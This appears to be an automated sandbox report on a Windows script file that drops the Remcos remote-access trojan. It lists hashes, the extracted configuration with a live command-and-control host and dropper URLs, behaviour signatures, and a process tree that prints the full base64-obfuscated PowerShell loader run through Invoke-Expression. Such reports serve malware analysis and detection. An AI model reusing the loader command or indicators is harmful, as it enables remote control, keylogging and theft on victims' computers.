Analysis

  • max time kernel
    299s
  • max time network
    274s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-12-2024 00:41

General

  • Target

    nr101612_Order.wsf

  • Size

    3KB

  • MD5

    2351b140cfa13f0cf05f93b471edd1f6

  • SHA1

    aab24f356405a117ce7df0016b131872fb1b2f16

  • SHA256

    4e176fd538ca3aade9d71291f18cbe73022c88dd19e29fba250a6d0a9137be17

  • SHA512

    bb7e68724ba4e4169e90b0ff3d6379dda43c0d01bf1e26b91211a124833317a4741bb6c5f0c3e97bcc79f8d01460bb09b6cf963c2f39890b7063ddd1b74f0085

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Extracted

Family

remcos

Botnet

RemoteHost

C2

ahmedahmed.ddns.net:6426

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-SEVL3E

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\nr101612_Order.wsf"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2040
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $originador = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JGFudGl2aXZpc3NlY2Npb25pc3RhID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cG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nVkFJJyk7JGdyYWZpY2FtZW50ZS5JbnZva2UoJG51bGwsIEAoJzAvZUdwdU4vci9lZS5ldHNhcC8vOnNwdHRoJywgJ2JyYW5kbycsICdicmFuZG8nLCAnYnJhbmRvJywgJ01TQnVpbGQnLCAnYnJhbmRvJywgJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJzEnLCdicmFuZG8nKSk7aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07';$alegorista = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($originador));Invoke-Expression $alegorista
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3508
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        3⤵
          PID:4588
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:3352

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\remcos\logs.dat

      Filesize

      144B

      MD5

      a6948bc4d901d12856bd1e904e97b9fc

      SHA1

      b1f79c6303e4382e9ba02eb4eee146659200d2a6

      SHA256

      e0b5be9fc65abd394c4cc320d14899f4a17df25f662674480e78336ba038982c

      SHA512

      4454833d3573c9938d4453f845006d4cc5397a36474d20aa4976155182dca267853275ed835cbaec25901446b595553428e915556b0716d1b040f395042ae604

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o03kur1w.d5j.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3352-18-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3352-30-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3352-28-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3352-26-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3352-24-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3352-22-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3352-19-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3508-12-0x00007FFFD67F0000-0x00007FFFD72B1000-memory.dmp

      Filesize

      10.8MB

    • memory/3508-17-0x000002BC6DB50000-0x000002BC6DCA8000-memory.dmp

      Filesize

      1.3MB

    • memory/3508-16-0x00007FFFD67F0000-0x00007FFFD72B1000-memory.dmp

      Filesize

      10.8MB

    • memory/3508-15-0x00007FFFD67F0000-0x00007FFFD72B1000-memory.dmp

      Filesize

      10.8MB

    • memory/3508-23-0x00007FFFD67F0000-0x00007FFFD72B1000-memory.dmp

      Filesize

      10.8MB

    • memory/3508-14-0x00007FFFD67F3000-0x00007FFFD67F5000-memory.dmp

      Filesize

      8KB

    • memory/3508-13-0x00007FFFD67F0000-0x00007FFFD72B1000-memory.dmp

      Filesize

      10.8MB

    • memory/3508-0-0x00007FFFD67F3000-0x00007FFFD67F5000-memory.dmp

      Filesize

      8KB

    • memory/3508-11-0x00007FFFD67F0000-0x00007FFFD72B1000-memory.dmp

      Filesize

      10.8MB

    • memory/3508-10-0x000002BC5D5C0000-0x000002BC5D5E2000-memory.dmp

      Filesize

      136KB